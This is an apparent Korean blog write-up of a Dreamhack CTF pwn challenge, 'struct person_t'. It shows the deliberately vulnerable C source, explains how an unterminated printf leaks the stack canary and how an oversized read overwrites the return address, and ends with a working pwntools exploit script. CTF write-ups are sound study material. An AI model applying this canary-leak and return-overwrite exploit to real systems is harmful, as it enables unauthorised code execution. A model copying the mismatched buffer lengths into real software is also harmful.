상세 컨텐츠

본문 제목

Dreamhack CTF Season 7 Round #6 (🌱Div2) struct person_t

SYSTEM HACKING/Dreamhack

by koharin 2025. 3. 30. 14:08

본문

728x90
반응형

메모리 보호기법 확인

canary가 있다. 

 

정적 분석

// Name: chall.c
// Compile: gcc -Wall -no-pie chall.c -o chall ; strip chall
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

struct person_t {
    char nationality[32];
    char name[56];
    double height;
    int age;
    char male_or_female[4];
};

void get_shell() {
    execve("/bin/sh", 0, 0);
}

void read_input(char *ptr, size_t len) {
    ssize_t readn;

    readn = read(0, ptr, len);
    if (readn < 1) {
        puts("read() error");
        exit(1);
    }

    if (ptr[readn - 1] == '\n') {
        ptr[readn - 1] = '\0';
    }
}

int main() {
    struct person_t person;

    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    printf("Enter name: ");
    read_input(person.name, 56);

    printf("Enter age: ");
    scanf("%d", &person.age);

    printf("Enter height: ");
    scanf("%lf", &person.height);

    printf("Enter M (Male) or F (Female): ");
    read_input(person.male_or_female, 5);

    printf("Hi %s.\n", person.name);

    printf("What's your nationality? ");
    read_input(person.nationality, 128);

    return 0;
}

main 함수에서는 구조체 객체 person에 name, age, height, male_or_female, nationality를 차례로 넣고 있다.

이때 male_or_female은 4바이트이지만 5를 넣고 있고, nationality도 32바이트이지만 128바이트를 넣고 있다.

제대로 스택 구조를 보기 위해 IDA로 확인해보았다.

|nationality(32)|name(56)|height(8)|age(4)|male_or_female(4)|canary(8)|SFP(8)|RET(8)|

위와 같은 스택 구조임을 유추할 수 있다.

128바이트를 딱 받으므로, RET까지 덮을 수 있는 BOF 취약점이 발생한다.

그러나. canary가 있기 때문에 그냥 덮으면 오류가 발생할 것이다.

그래서 canary를 구할 방법을 찾아야 한다.

printf로 입력을 출력하는 부분이 있다. 하지만 name은 56바이트밖에 입력받지 않는다..

다시 살펴보면 %s로 출력한다. 즉, 56바이트 뒤에 null 문자가 없이 연속적으로 이어진 문자가 있다면, v5만 출력되는 것이 아니라 name 뒤의 height, age, male_or_female을 포함하여 그 뒤에 canary까지 출력할 수 있을 것이다.

예상대로 M(0x4d) 뒤의 canary 8바이트가 출력된다. canary의 하위는 항상 \x00으로 끝나므로, 7바이트를 받고 \x00을 붙여주면 위와 같이 canary 값을 제대로 구할 수 있다.

 

이후 nationality에 128바이트를 입력받을 때 112바이트+canary+8바이트+RET 덮을 주소를 주면 된다.

PIE가 없기 때문에, 쉘을 실행하는 get_shell 함수의 주소 0x401216을 주면 된다.

그럼 return address에 적힌 get_shell 함수를 실행하여 쉘을 얻을 수 있다.

 

익스플로잇 코드

from pwn import *
import struct

context.log_level='debug'
p=remote('host3.dreamhack.games',18173)
get_shell=0x401216

p.sendafter(b'Enter name: ', b'A'*56)
p.sendlineafter(b'Enter age: ', b'2147483647')
p.sendlineafter(b'Enter height: ', b'1.3')
p.sendafter(b'Enter M (Male) or F (Female): ', b'M'*5)

p.recvuntil(b'MMMMM')
canary=u64(b'\x00'+p.recv(7))
log.success(f'canary: {hex(canary)}')
p.recvuntil(b'.\n')

payload2=b'A'*0x68 + p64(canary) + b'B'*0x8 + p64(get_shell)
p.sendafter(b'What\'s your nationality? ',payload2) # n(32) 128

p.interactive()

 

익스플로잇 결과

728x90
반응형

'SYSTEM HACKING > Dreamhack' 카테고리의 다른 글

관련글 더보기